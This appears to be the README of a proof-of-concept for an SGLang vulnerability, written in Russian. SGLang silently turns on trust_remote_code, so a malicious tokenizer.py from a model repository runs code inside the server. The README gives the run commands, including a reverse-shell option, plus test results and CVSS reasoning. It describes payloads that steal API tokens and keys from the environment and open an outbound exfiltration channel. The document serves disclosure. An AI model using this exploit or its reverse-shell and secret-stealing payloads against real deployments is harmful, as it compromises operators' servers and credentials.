
PoC для CVE-2026-7669: SGLang silent trust_remote_code override -> RCE
SGLang молча переопределяет trust_remote_code=False на True и повторно вызывает
AutoTokenizer.from_pretrained всякий раз, когда transformers v5 возвращает объект
TokenizersBackend. Модель с пользовательским tokenizer_class и auto_map,
указывающим на tokenizer.py, достигает произвольного выполнения кода внутри
процесса SGLang, даже если оператор передал False. Ни на одном уровне не выводится
ни одной строки журнала.
main (коммит fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Highif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Внесено в PR #17784
(коммит d1e95af28, 2026-03-18). Исходное уведомление logger.info(...)
было удалено коммитом 27ac831a8 (2026-03-23) под заголовком «docs: improve CI
and testing documentation», что сделало переопределение полностью незаметным в
каждой выпущенной уязвимой версии.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Собирает Docker-образ (python:3.12.7-slim-bookworm + transformers==5.3.0
Другие режимы:
./run.sh --server воспроизведение через TokenizerManager.__init__
./run.sh --versions матрица transformers 5.0..5.5
./run.sh --revshell IP опциональный reverse shell на IP:4444
./run.sh --rebuild принудительная пересборка --no-cache
./run.sh --copy-ledger ./ledger.json
Код выхода 0 означает подтверждение. Итоговая сводка:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Коды выхода:
| Код | Значение |
|---|---|
| 0 | Подтверждено |
| 1 | Не сработало |
| 2 | Ложное срабатывание (сами transformers выполнили tokenizer.py, ошибка в апстриме) |
| 3 | Предварительная проверка зафиксированных версий не пройдена |
Этап предварительной проверки читает pinned_versions.json и сверяет каждое
значение с окружением выполнения. При расхождении выход с кодом 3 до запуска
любых тестов.
| Компонент | Фиксация |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Коммит SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 уязвимого блока (строки 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Метрика | Значение | Подтверждение |
|---|---|---|
| AV | N | Файлы-триггеры (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) — стандартная раскладка auto_map HF Hub. Любой реестр, который их обслуживает, достигает ошибки. |
| AC | L | PHASE-2 срабатывает детерминированно за один запуск. Каждое условие триггера — контент, созданный атакующим. PRE-1..7 подтверждают отсутствие снятия отпечатков окружения. |
| PR | N | Достаточно бесплатной загрузки на HF Hub. Ничто в цепочке триггера не требует предварительных привилегий на жертве. |
| UI | R | Триггер срабатывает только когда оператор (или конвейер, настроенный оператором) вызывает launch_server --model-path attacker/model. |
| S | U | Все утверждения SEV-* выполняются в рамках авторитета процесса SGLang. Никакого побега из песочницы или контейнера. |
| C | H | SEV-secrets захватывает HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY из окружения процесса. SEV-network открывает исходящий TCP-канал эксфильтрации. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip — четыре независимых примитива целостности в разных чувствительных местах. |
| A | H | Выводится из RCE. SEV-pip доказывает произвольное выполнение подпроцессов, что является тем же примитивом, необходимым для само-DoS. PoC напрямую не демонстрирует самоуничтожение. |
8.8 — консервативный минимум. 9.6 (с S:C) и 10.0 (оба S:C и
UI:N) защитимы, но зависят от мнения рецензента.
UI:N не обоснован для этого CVE. HTTP-сервер SGLang имеет
реальный обход отсутствия аутентификации по умолчанию, когда api_key=None и admin_api_key=None
(подтверждено AUTH-1 против примитива decide_request_auth во время
выполнения), но ни одна HTTP-конечная точка не достигает get_tokenizer после запуска
(подтверждено CHAIN-1). Все четыре места вызова get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) срабатывают один раз при запуске сервера из
предоставленного оператором --model-path. Обход аутентификации, таким образом, —
отдельная проблема, а не партнёр по цепочке для CVE-2026-7669.
PoC записывает JSON-реестр в /tmp/poc_claim_ledger.json с 29
индивидуально проверяемыми утверждениями. Используйте ./run.sh --copy-ledger ./ledger.json
для его извлечения.